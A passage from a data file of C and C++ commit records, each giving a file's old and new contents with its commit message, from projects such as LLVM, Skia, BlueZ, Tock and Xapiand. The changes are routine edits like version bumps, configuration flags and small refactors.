fprintf(stderr, \"Failed to connect: %s\\n\", curl_easy_strerror(res));\n    }\n\n    printf(\"size=%d, cap=%d\\n%s\", content->size, content->cap, content->str);\n\n    dstr_free(content);\n    curl_easy_cleanup(curl);\n  }\n\n  return 0;\n}\n\n","subject":"Add User-Agent to prevent from blocked by Douban.fm","message":"Add User-Agent to prevent from blocked by Douban.fm\n","lang":"C","license":"mit","repos":"hwp\/hmc,hwp\/hmc"}
{"commit":"9573b91c322511fdcd727057dc058ee8c0fdc19c","old_file":"include\/llvm\/ModuleProvider.h","new_file":"include\/llvm\/ModuleProvider.h","old_contents":"\/\/===-- llvm\/ModuleProvider.h - Interface for module providers --*- C++ -*-===\/\/\n\/\/\n\/\/ This file provides an abstract interface for loading a module from some\n\/\/ place.  This interface allows incremental or random access loading of\n\/\/ functions from the file.  This is useful for applications like JIT compilers\n\/\/ or interprocedural optimizers that do not need the entire program in memory\n\/\/ at the same time.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef MODULEPROVIDER_H\n#define MODULEPROVIDER_H\n\nclass Function;\nclass Module;\n\nclass ModuleProvider {\nprotected:\n  Module *TheModule;\n  ModuleProvider();\n\npublic:\n  virtual ~ModuleProvider();\n\n  \/\/\/ getModule - returns the module this provider is encapsulating.\n  \/\/\/\n  Module* getModule() { return TheModule; }\n\n  \/\/\/ materializeFunction - make sure the given function is fully read.\n  \/\/\/\n  virtual void materializeFunction(Function *F) = 0;\n\n  \/\/\/ materializeModule - make sure the entire Module has been completely read.\n  \/\/\/\n  void materializeModule();\n\n  \/\/\/ releaseModule - no longer delete the Module* when provider is destroyed.\n  \/\/\/\n  virtual Module* releaseModule() { \n    \/\/ Since we're losing control of this Module, we must hand it back complete\n    materializeModule();\n    Module *tempM = TheModule; \n    TheModule = 0; \n    return tempM; \n  }\n};\n\n#endif\n","new_contents":"\/\/===-- llvm\/ModuleProvider.h - Interface for module providers --*- C++ -*-===\/\/\n\/\/\n\/\/ This file provides an abstract interface for loading a module from some\n\/\/ place.  This interface allows incremental or random access loading of\n\/\/ functions from the file.  This is useful for applications like JIT compilers\n\/\/ or interprocedural optimizers that do not need the entire program in memory\n\/\/ at the same time.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef MODULEPROVIDER_H\n#define MODULEPROVIDER_H\n\nclass Function;\nclass Module;\n\nclass ModuleProvider {\nprotected:\n  Module *TheModule;\n  ModuleProvider();\n\npublic:\n  virtual ~ModuleProvider();\n\n  \/\/\/ getModule - returns the module this provider is encapsulating.\n  \/\/\/\n  Module* getModule() { return TheModule; }\n\n  \/\/\/ materializeFunction - make sure the given function is fully read.\n  \/\/\/\n  virtual void materializeFunction(Function *F) = 0;\n\n  \/\/\/ materializeModule - make sure the entire Module has been completely read.\n  \/\/\/\n  Module* materializeModule();\n\n  \/\/\/ releaseModule - no longer delete the Module* when provider is destroyed.\n  \/\/\/\n  virtual Module* releaseModule() { \n    \/\/ Since we're losing control of this Module, we must hand it back complete\n    materializeModule();\n    Module *tempM = TheModule; \n    TheModule = 0; \n    return tempM; \n  }\n};\n\n#endif\n","subject":"Return the Module being materialized to avoid always calling getModule().","message":"Return the Module being materialized to avoid always calling getModule().\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@9198 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap"}
{"commit":"b3180559b6960327f0fd843b6afc6c6cbaa1bf85","old_file":"source\/platform\/min\/window.h","new_file":"source\/platform\/min\/window.h","old_contents":"\/* Copyright [2013-2018] [Aaron Springstroh, Minimal Graphics Library]\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#ifndef __WINDOW__\n#define __WINDOW__\n\n#if defined(_WIN32)\n\n#include <min\/win32_window.h>\n\nnamespace min\n{\nusing window = min::win32_window;\n}\n\n#elif __linux__\n\n#include <min\/x_window.h>\n\nnamespace min\n{\nusing window = min::x_window;\n}\n\n#endif\n\n#endif\n","new_contents":"\/* Copyright [2013-2018] [Aaron Springstroh, Minimal Graphics Library]\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#ifndef __WINDOW__\n#define __WINDOW__\n\n#if defined(_WIN32)\n\n#include <min\/win32_window.h>\n\nnamespace min\n{\nusing window = min::win32_window;\n}\n\n#else\n\n#include <min\/x_window.h>\n\nnamespace min\n{\nusing window = min::x_window;\n}\n\n#endif\n\n#endif\n","subject":"Allow other operating systems that use X11 to use it","message":"MGL: Allow other operating systems that use X11 to use it\n","lang":"C","license":"apache-2.0","repos":"Aaron-SP\/mgl,Aaron-SP\/mgl,Aaron-SP\/mgl"}
{"commit":"12405f10d56dd4e0adb3c8e3d464abf1e8e74f00","old_file":"android\/cutils\/properties.h","new_file":"android\/cutils\/properties.h","old_contents":"\/*\n * Copyright (C) 2006 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __CUTILS_PROPERTIES_H\n#define __CUTILS_PROPERTIES_H\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define PROPERTY_KEY_MAX   32\n#define PROPERTY_VALUE_MAX  92\n\n\/* property_get: returns the length of the value which will never be\n** greater than PROPERTY_VALUE_MAX - 1 and will always be zero terminated.\n** (the length does not include the terminating zero).\n**\n** If the property read fails or returns an empty value, the default\n** value is used (if nonnull).\n*\/\nstatic inline int property_get(const char *key, char *value,\n\t\t\t\t\t\tconst char *default_value)\n{\n\tconst char *env;\n\n\tenv = getenv(key);\n\tif (!env)\n\t\tenv = default_value;\n\n\tif (!value || !env)\n\t\treturn 0;\n\n\tstrncpy(value, env, PROPERTY_VALUE_MAX);\n\n\treturn strlen(value);\n}\n\n\/* property_set: returns 0 on success, < 0 on failure\n*\/\nstatic inline int property_set(const char *key, const char *value)\n{\n\treturn setenv(key, value, 0);\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2006 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __CUTILS_PROPERTIES_H\n#define __CUTILS_PROPERTIES_H\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* property_set: returns 0 on success, < 0 on failure\n*\/\nstatic inline int property_set(const char *key, const char *value)\n{\n\treturn setenv(key, value, 0);\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Remove not needed property_get function form cutils stubs","message":"android: Remove not needed property_get function form cutils stubs\n\nThis is no longer used as daemon indicates its presence by connecting\nsocket.\n","lang":"C","license":"lgpl-2.1","repos":"pstglia\/external-bluetooth-bluez,mapfau\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,ComputeCycles\/bluez,mapfau\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,mapfau\/bluez,pkarasev3\/bluez"}
{"commit":"446d4341bb10ab6ba8da45498c8b7619d39249ca","old_file":"examples\/rot13_service\/main.c","new_file":"examples\/rot13_service\/main.c","old_contents":"#include \"..\/..\/libtock\/tock.h\"\n#include <stdio.h>\n\n#define IPC_DRIVER 0x4c\n\nstatic void rot13_callback(int pid, int len, int arg2, void* ud) {\n  char* buf = (char*)arg2;\n  int length = buf[0];\n  if (length > len - 1) {\n    length = len - 1;\n  }\n  buf++;\n  for (int i = 0; i < len; ++i) {\n    if (buf[i] >= 'a' && buf[i] <= 'z') {\n      buf[i] = (((buf[i] - 'a') + 13) % 26) + 'a';\n    } else if (buf[i] >= 'A' && buf[i] <= 'Z') {\n      buf[i] = (((buf[i] - 'A') + 13) % 26) + 'A';\n    }\n  }\n  command(IPC_DRIVER, pid, 0);\n}\n\nint main() {\n  subscribe(IPC_DRIVER, 0, rot13_callback, 0);\n  while (1) {\n    yield();\n  }\n  return 0;\n}\n\n","new_contents":"#include <tock.h>\n\n#define IPC_DRIVER 0x4c\n\nstruct rot13_buf {\n  int8_t length;\n  char buf[31];\n};\n\nstatic void rot13_callback(int pid, int len, int buf, void* ud) {\n  struct rot13_buf *rb = (struct rot13_buf*)buf;\n  int length = rb->length;\n  if (length > len - 1) {\n    length = len - 1;\n  }\n  for (int i = 0; i < length; ++i) {\n    if (rb->buf[i] >= 'a' && rb->buf[i] <= 'z') {\n      rb->buf[i] = (((rb->buf[i] - 'a') + 13) % 26) + 'a';\n    } else if (rb->buf[i] >= 'A' && rb->buf[i] <= 'Z') {\n      rb->buf[i] = (((rb->buf[i] - 'A') + 13) % 26) + 'A';\n    }\n  }\n  command(IPC_DRIVER, pid, 0);\n}\n\nint main() {\n  subscribe(IPC_DRIVER, 0, rot13_callback, NULL);\n  return 0;\n}\n\n","subject":"Enforce IPC data sharing with MPU","message":"Enforce IPC data sharing with MPU\n\nStill pretty coarsely written but exposes only the shared buffer from a\nclient when enqueuing the callback to a service.\n","lang":"C","license":"apache-2.0","repos":"tock\/libtock-c,tock\/libtock-c,tock\/libtock-c"}
{"commit":"295b4e944964658c86c810275dadf2c75cbbcf9f","old_file":"src\/all.h","new_file":"src\/all.h","old_contents":"#include <libsccmn.h>\n#include <openssl\/rand.h>\n#include <sys\/mman.h>\n\n#define FRAME_SIZE (3*4096)\n#define MEMPAGE_SIZE (4096)\n\nvoid _logging_init(void);\n\nvoid _frame_init(struct frame * this, uint8_t * data, size_t capacity, struct frame_pool_zone * zone);\n","new_contents":"#include <libsccmn.h>\n#include <openssl\/rand.h>\n#include <sys\/mman.h>\n\n\/\/ Frame size should be above 16kb, which is a maximum record size of 16kB for SSLv3\/TLSv1\n\/\/ See https:\/\/www.openssl.org\/docs\/manmaster\/ssl\/SSL_read.html\n#define FRAME_SIZE (5*4096)\n#define MEMPAGE_SIZE (4096)\n\nvoid _logging_init(void);\n\nvoid _frame_init(struct frame * this, uint8_t * data, size_t capacity, struct frame_pool_zone * zone);\n","subject":"Increase the size of the memory pool frame","message":"Increase the size of the memory pool frame\n","lang":"C","license":"bsd-3-clause","repos":"TeskaLabs\/Frame_Transporter,TeskaLabs\/SeaCat-Common-Library,TeskaLabs\/Frame-Transporter,TeskaLabs\/Frame-Transporter,TeskaLabs\/Frame_Transporter"}
{"commit":"42d8167c3ac24b41e625063140bac8ac4ab31da0","old_file":"include\/scrappie.h","new_file":"include\/scrappie.h","old_contents":"#ifndef SCRAPPIE_H\n#define SCRAPPIE_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <immintrin.h>\n#include <stdbool.h>\n\n\n\n\/*  Structure definitions from fast5_interface.h  *\/\ntypedef struct {\n\tdouble start;\n\tfloat length;\n\tfloat mean, stdv;\n\tint pos, state;\n} event_t;\n\ntypedef struct {\n\tunsigned int n, start, end;\n\tevent_t * event;\n} event_table;\n\ntypedef struct {\n\tunsigned int n, start, end;\n\tfloat * raw;\n} raw_table;\n\n\n\/*  Matrix definitions from util.h  *\/\ntypedef struct {\n        unsigned int nr, nrq, nc;\n        union {\n                __m128 * v;\n                float * f;\n        } data;\n} _Mat;\ntypedef _Mat * scrappie_matrix;\n\n\nscrappie_matrix nanonet_posterior(const event_table events, float min_prob, bool return_log);\nscrappie_matrix nanonet_raw_posterior(const raw_table signal, float min_prob, bool return_log);\n\nscrappie_matrix free_scrappie_matrix(scrappie_matrix mat);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* SCRAPPIE_H *\/\n","new_contents":"#ifndef SCRAPPIE_H\n#define SCRAPPIE_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <immintrin.h>\n#include <stdbool.h>\n\n\n\n\/*  Structure definitions from scrappie_structures.h  *\/\ntypedef struct {\n\tdouble start;\n\tfloat length;\n\tfloat mean, stdv;\n\tint pos, state;\n} event_t;\n\ntypedef struct {\n\tunsigned int n, start, end;\n\tevent_t * event;\n} event_table;\n\ntypedef struct {\n\tunsigned int n, start, end;\n\tfloat * raw;\n} raw_table;\n\n\n\/*  Matrix definitions from scrappie_matrix.h  *\/\ntypedef struct {\n        unsigned int nr, nrq, nc;\n        union {\n                __m128 * v;\n                float * f;\n        } data;\n} _Mat;\ntypedef _Mat * scrappie_matrix;\n\n\nscrappie_matrix nanonet_posterior(const event_table events, float min_prob, bool return_log);\nscrappie_matrix nanonet_raw_posterior(const raw_table signal, float min_prob, bool return_log);\n\nscrappie_matrix free_scrappie_matrix(scrappie_matrix mat);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* SCRAPPIE_H *\/\n","subject":"Update where various definitions have come from","message":"Update where various definitions have come from\n","lang":"C","license":"mpl-2.0","repos":"nanoporetech\/scrappie,nanoporetech\/scrappie,nanoporetech\/scrappie"}
{"commit":"f470ac421f6695e415da643e03b903a679ea828e","old_file":"src\/config.c","new_file":"src\/config.c","old_contents":"\/\/ vim: sw=4 ts=4 et :\n#include \"config.h\"\n\n\/\/ Parser for win_ section\nconf_t win_conf(char *key) {\n    conf_t rc;\n\n    rc.ival = 0;\n\n    (void)key;\n    return rc;\n}\n\n\/\/ Prefixes for config sections\/subsections with parser pointers\nstruct conf_prefix {\n    char *prefix;\n    conf_t (*parser)(char *);\n} pr_global[] = {\n    { \"win_\", win_conf }\n};\n\n\/\/ Entry point to get all config values\nconf_t conf(char *key) {\n    conf_t rc;\n\n    for (size_t i = 0; i < sizeof(pr_global); i++) {\n        if (strstr(key, pr_global[i].prefix) == 0) {\n            rc = win_conf(key + strlen(pr_global[i].prefix));\n            break;\n        }\n    }\n\n    return rc;\n}\n","new_contents":"\/\/ vim: sw=4 ts=4 et :\n#include \"config.h\"\n#include \"itmmorgue.h\"\n\n\/\/ Parser for win_ section\nconf_t win_conf(char *key) {\n    conf_t rc;\n\n    \/\/ TODO implement real parser\n    if (key == strstr(key, \"area_y\")) rc.ival = 3;\n    if (key == strstr(key, \"area_x\")) rc.ival = 2;\n    if (key == strstr(key, \"area_max_y\")) rc.ival = 10;\n    if (key == strstr(key, \"area_max_x\")) rc.ival = 45;\n    if (key == strstr(key, \"area_state\")) rc.ival = 2;\n\n    return rc;\n}\n\n\/\/ Prefixes for config sections\/subsections with parser pointers\nstruct conf_prefix {\n    char *prefix;\n    conf_t (*parser)(char *);\n} pr_global[] = {\n    { \"win_\", win_conf }\n};\n\n\/\/ Entry point to get all config values\nconf_t conf(char *key) {\n    conf_t rc;\n\n    for (size_t i = 0;\n            i < sizeof(pr_global) \/ sizeof(struct conf_prefix);\n            i++) {\n        if (key == strstr(key, pr_global[i].prefix)) {\n            rc = win_conf(key + strlen(pr_global[i].prefix));\n            break;\n        }\n    }\n\n    return rc;\n}\n","subject":"Fix the first (sic!) Segmentation fault","message":"Fix the first (sic!) Segmentation fault\n","lang":"C","license":"mit","repos":"zhmylove\/itmmorgue,zhmylove\/itmmorgue,zhmylove\/itmmorgue,zhmylove\/itmmorgue"}
{"commit":"9e724bbce19eee4f38256de15397c259000469f9","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 0  \/\/ TODO: switch to at least 2\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","new_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","subject":"Enable reverse futility at depth 1","message":"Enable reverse futility at depth 1\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"855f14a819774f5417417e7a14938036c4115833","old_file":"src\/server.h","new_file":"src\/server.h","old_contents":"#ifndef XAPIAND_INCLUDED_SERVER_H\n#define XAPIAND_INCLUDED_SERVER_H\n\n#include <ev++.h>\n\n#include \"threadpool.h\"\n#include \"database.h\"\n\n\nconst int XAPIAND_HTTP_PORT_DEFAULT = 8880;\nconst int XAPIAND_BINARY_PORT_DEFAULT = 8890;\n\n\nclass XapiandServer : public Task {\nprivate:\n\tev::dynamic_loop loop;\n\tev::sig sig;\n\tev::async quit;\n\n\tev::io http_io;\n\tint http_sock;\n\n\tev::io binary_io;\n\tint binary_sock;\n\n\tDatabasePool database_pool;\n\n\tvoid bind_http();\n\tvoid bind_binary();\n\n\tvoid io_accept_http(ev::io &watcher, int revents);\n\tvoid io_accept_binary(ev::io &watcher, int revents);\n\n\tvoid signal_cb(ev::sig &signal, int revents);\n\tvoid quit_cb(ev::async &watcher, int revents);\n\npublic:\n\tXapiandServer(int http_sock_, int binary_sock_);\n\t~XapiandServer();\n\t\n\tvoid run();\n};\n\n#endif \/* XAPIAND_INCLUDED_SERVER_H *\/\n","new_contents":"#ifndef XAPIAND_INCLUDED_SERVER_H\n#define XAPIAND_INCLUDED_SERVER_H\n\n#include <ev++.h>\n\n#include \"threadpool.h\"\n#include \"database.h\"\n\n\nconst int XAPIAND_HTTP_PORT_DEFAULT = 8880;\nconst int XAPIAND_BINARY_PORT_DEFAULT = 8890;\n\n\nclass XapiandServer : public Task {\nprivate:\n\tev::dynamic_loop dynamic_loop;\n\tev::loop_ref *loop;\n\tev::sig sig;\n\tev::async quit;\n\n\tev::io http_io;\n\tint http_sock;\n\n\tev::io binary_io;\n\tint binary_sock;\n\n\tDatabasePool database_pool;\n\n\tvoid bind_http();\n\tvoid bind_binary();\n\n\tvoid io_accept_http(ev::io &watcher, int revents);\n\tvoid io_accept_binary(ev::io &watcher, int revents);\n\n\tvoid signal_cb(ev::sig &signal, int revents);\n\tvoid quit_cb(ev::async &watcher, int revents);\n\npublic:\n\tXapiandServer(int http_sock_, int binary_sock_, ev::loop_ref *loop_=NULL);\n\t~XapiandServer();\n\t\n\tvoid run();\n};\n\n#endif \/* XAPIAND_INCLUDED_SERVER_H *\/\n","subject":"Allow passing an event loop to XapianServer","message":"Allow passing an event loop to XapianServer\n","lang":"C","license":"mit","repos":"Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand"}
{"commit":"eb8b1344df4fcf214879fcc5657c880aefd18228","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 90\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 91\n#endif\n","subject":"Update Skia milestone to 91","message":"Update Skia milestone to 91\n\nTBR reed\n\nChange-Id: Ibfb76e9b08f5b427ff693f023419130107f857ec\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/376138\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"d0c3b3122833dae723639bdf1be8a0e97997c5f3","old_file":"src\/merge_vcf\/Paramer.h","new_file":"src\/merge_vcf\/Paramer.h","old_contents":"\/*\n * Paramer.h\n *\n *  Created on: Aug 20, 2015\n *      Author: fsedlaze\n *\/\n\n#ifndef PARAMER_H_\n#define PARAMER_H_\n\n#include <string.h>\n#include <string>\n#include <vector>\n#include <stdlib.h>\n#include <iostream>\n#include <ctime>\n\n\n\nclass Parameter {\nprivate:\n\tParameter() {\n\t\tmin_freq=-1;\n\t\tversion =\"1.0.4\";\n\t}\n\t~Parameter() {\n\n\n\t}\n\tstatic Parameter* m_pInstance;\n\npublic:\n\tstd::string version;\n\tint max_dist;\n\tint max_caller;\n\tbool use_type;\n\tbool use_strand;\n\tbool dynamic_size;\n\tint min_length;\n\tfloat min_freq;\n\tint min_support;\n\n\tstatic Parameter* Instance() {\n\t\tif (!m_pInstance) {\n\t\t\tm_pInstance = new Parameter;\n\t\t}\n\t\treturn m_pInstance;\n\t}\n\n\tdouble meassure_time(clock_t begin ,std::string msg){\n\t\treturn 0;\n\t\tclock_t end = clock();\n\t\tdouble elapsed_secs = double(end - begin) \/ CLOCKS_PER_SEC;\n\t\tstd::cout << msg<<\" \" << elapsed_secs<<std::endl;\n\t\treturn elapsed_secs;\n\t}\n};\n\n#endif \/* PARAMER_H_ *\/\n","new_contents":"\/*\n * Paramer.h\n *\n *  Created on: Aug 20, 2015\n *      Author: fsedlaze\n *\/\n\n#ifndef PARAMER_H_\n#define PARAMER_H_\n\n#include <string.h>\n#include <string>\n#include <vector>\n#include <stdlib.h>\n#include <iostream>\n#include <ctime>\n\n\n\nclass Parameter {\nprivate:\n\tParameter() {\n\t\tmin_freq=-1;\n\t\tversion =\"1.0.5\";\n\t}\n\t~Parameter() {\n\n\n\t}\n\tstatic Parameter* m_pInstance;\n\npublic:\n\tstd::string version;\n\tint max_dist;\n\tint max_caller;\n\tbool use_type;\n\tbool use_strand;\n\tbool dynamic_size;\n\tint min_length;\n\tfloat min_freq;\n\tint min_support;\n\n\tstatic Parameter* Instance() {\n\t\tif (!m_pInstance) {\n\t\t\tm_pInstance = new Parameter;\n\t\t}\n\t\treturn m_pInstance;\n\t}\n\n\tdouble meassure_time(clock_t begin ,std::string msg){\n\t\treturn 0;\n\t\tclock_t end = clock();\n\t\tdouble elapsed_secs = double(end - begin) \/ CLOCKS_PER_SEC;\n\t\tstd::cout << msg<<\" \" << elapsed_secs<<std::endl;\n\t\treturn elapsed_secs;\n\t}\n};\n\n#endif \/* PARAMER_H_ *\/\n","subject":"Increment version to clean things up","message":"Increment version to clean things up\n","lang":"C","license":"mit","repos":"fritzsedlazeck\/SURVIVOR,fritzsedlazeck\/SURVIVOR"}
{"commit":"bc9445a9173ec23196a3fdbfb3cfb5ea4bc1d084","old_file":"src\/library.c","new_file":"src\/library.c","old_contents":"\/**\n * This file is part of the librailcan library.\n *\n * Copyright (C) 2015 Reinder Feenstra <reinderfeenstra@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301\n * USA\n *\/\n\n#include \"librailcan.h\"\n#include <string.h>\n\nint debug_level = LIBRAILCAN_DEBUGLEVEL_DEBUG;\/\/LIBRAILCAN_DEBUGLEVEL_NONE;\n\nint librailcan_set_debug_level( int level )\n{\n  if( level < LIBRAILCAN_DEBUGLEVEL_NONE ||\n      level > LIBRAILCAN_DEBUGLEVEL_DEBUG )\n    return LIBRAILCAN_STATUS_INVALID_PARAM;\n\n  debug_level = level;\n\n  return LIBRAILCAN_STATUS_SUCCESS;\n}\n","new_contents":"\/**\n * This file is part of the librailcan library.\n *\n * Copyright (C) 2015 Reinder Feenstra <reinderfeenstra@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301\n * USA\n *\/\n\n#include \"librailcan.h\"\n#include <string.h>\n\nint debug_level = LIBRAILCAN_DEBUGLEVEL_NONE;\n\nint librailcan_set_debug_level( int level )\n{\n  if( level < LIBRAILCAN_DEBUGLEVEL_NONE ||\n      level > LIBRAILCAN_DEBUGLEVEL_DEBUG )\n    return LIBRAILCAN_STATUS_INVALID_PARAM;\n\n  debug_level = level;\n\n  return LIBRAILCAN_STATUS_SUCCESS;\n}\n","subject":"Set default debug level to none.","message":"Set default debug level to none.\n","lang":"C","license":"lgpl-2.1","repos":"reinder\/librailcan,reinder\/librailcan,reinder\/librailcan"}
{"commit":"328f45d5dcadced32eaeee1ea0a6f05f7cb2a969","old_file":"wrapper.c","new_file":"wrapper.c","old_contents":"\n#include <stdlib.h>\n#include <string.h>\n\n#include <stdint.h>\n\n#include \"cc.h\"\n\n\nstatic void\nout_of_memory(void)\n{\n\t\/* TODO: deal with out of memory errors *\/\n\terror(\"out of memory\");\n}\n\nvoid *\nxmalloc(size_t size)\n{\n\tregister void *p = malloc(size);\n\n\tif (!p)\n\t\tout_of_memory();\n\treturn p;\n}\n\nvoid *\nxcalloc(size_t nmemb, size_t size)\n{\n\tregister size_t nbytes = nmemb * size;\n\tregister void *p = xmalloc(nbytes);\n\n\treturn memset(p, nbytes, 0);\n}\n\nchar *\nxstrdup(const char *s)\n{\n\tregister size_t len = strlen(s);\n\tregister char *p = xmalloc(len);\n\n\treturn memcpy(p, s, len);\n}\n\nvoid *\nxrealloc(void *buff, register size_t size)\n{\n\tregister void *p = realloc(buff, size);\n\n\tif (!p)\n\t\tout_of_memory();\n\treturn p;\n}\n","new_contents":"\n#include <stdlib.h>\n#include <string.h>\n\n#include <stdint.h>\n\n#include \"cc.h\"\n\n\nstatic void\nout_of_memory(void)\n{\n\t\/* TODO: deal with out of memory errors *\/\n\terror(\"out of memory\");\n}\n\nvoid *\nxmalloc(size_t size)\n{\n\tregister 